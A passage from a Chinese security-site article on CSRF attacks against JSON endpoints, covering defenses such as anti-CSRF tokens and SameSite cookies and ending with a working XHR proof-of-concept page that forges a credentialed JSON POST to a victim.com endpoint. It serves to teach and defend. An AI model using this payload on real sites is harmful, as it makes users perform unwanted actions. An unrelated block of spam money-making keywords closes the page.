歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

談談Json格式下的CSRF攻擊

來源:本站整理 作者:佚名 時間:2019-06-27 TAG: 我要投稿

一、CSRF漏洞簡介
csrf漏洞的成因就是網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要是訪問這個網站,都會默認你已經登錄的狀態。而在這個期間,攻擊者發送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執行一些用戶不想做的功能(比如是添加賬號等)。這個操作不是用戶真正想要執行的。
在post標準化格式(accounts=test&password=aaa)的表單頁面中,在沒有csrf防護的前提下,我們能很輕松地構造頁面來實現攻擊,但是在json格式下,csrf攻擊怎么實現呢?
那我們為何不能使用這個常規構造的PoC來利用JSON端點中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式發送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。
2、Content-Type頭需要設置為application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發送OPTIONS預檢請求。
1.1 防御方案
關于防御方案,一般有如下幾種:
1)用戶操作驗證,在提交數據時需要輸入驗證碼
2)請求來源驗證,驗證請求來源的referer
3)表單token驗證
現在業界對CSRF的防御,一致的做法是使用一個Token(Anti CSRF Token)。
這個Token的值必須是隨機的,不可預測的。由于Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,盡量把敏感操作由GET改為POST,以form或AJAX形式提交,避免Token泄露。
例子:
第一步:用戶訪問某個表單頁面。
第二步:服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。
第三步:在頁面表單附帶上Token參數。
第四步:用戶提交請求后,服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致, 一致為合法請求,不是則非法請求。
4) 在前后端分離的前提下(例如使用ajax提交數據)設置不了token,可以給 cookie 新增 SameSite 屬性,通過這個屬性可以標記哪個 cookie 只作為同站 cookie (即第一方 cookie,不能作為第三方 cookie),既然不能作為第三方 cookie ,那么別的網站發起第三方請求時,第三方網站是收不到這個被標記關鍵 cookie,后面的鑒權處理就好辦了。這一切都不需要做 token 生命周期的管理,也不用擔心 Referer 會丟失或被中途被篡改。
SameStie 有兩個值:Strict 和 Lax:
SameSite=Strict 嚴格模式,使用 SameSite=Strict 標記的 cookie 在任何情況下(包括異步請求和同步請求),都不能作為第三方 cookie。
SameSite=Lax 寬松模式,使用 SameSite=Lax 標記的 cookie 在異步請求 和 form 提交跳轉的情況下,都不能作為第三方 cookie。
那么Strict和Lax的如何使用呢?
登錄態關鍵的 cookie 都可以設置為 Strict。
后臺根據用戶的登錄態動態新建一個可以用于校驗登錄態的 cookie ,設置為 Lax ,這樣的話對外推廣比如微博什么的,你希望用戶在微博上打開你的鏈接還能保持登錄態。
如果你的頁面有可能被第三方網站去iframe或有接口需要做jsonp ,那么都不能設置 Strict 或 Lax。
二、不驗證CONTENT-TYPE的情況
如果服務端沒有校驗Content-Type,或者沒有嚴格校驗Content-Type是否為application/json,我們可以使用XHR來實現csrf,poc如下:
html>
 head>
 script style="text/javascript">
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q區","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晉城市","region":"陵川縣","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
    }
   script>
 head>
  body>
   
    form action="#">
      input type="button" value="Submit request" onClick="submitRequest()"/>
    form>
  body>
 
html>
三、驗證CONTENT-TYPE的情況
當然了,使用XMLHttpRequest、fetch能構造出JSON請求,并且能設置Content-Type,但是無法跨域。

[1] [2] [3]  下一頁

【聲明】:黑吧安全網(http://www.zjtpzs.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        神秘东方电子游艺 老公不赚钱要买房子不 那些直播是靠什么赚钱的 梦幻赚钱号停多少级 券商眼红客戶赚钱 海南90后赚钱 卖红糖鸡蛋可以赚钱吗 武林外传2什么职业赚钱快 香港演艺界北上赚钱 有什么投资不大但是可以赚钱的 做电脑经销商能赚钱吗 微信小游戏是怎么赚钱 梦幻109带74级号抓鬼赚钱吗 人人赚钱 任务墙 现在学怎么赚钱吗 手机下载东西就赚钱是真的吗 抖音的赚钱规则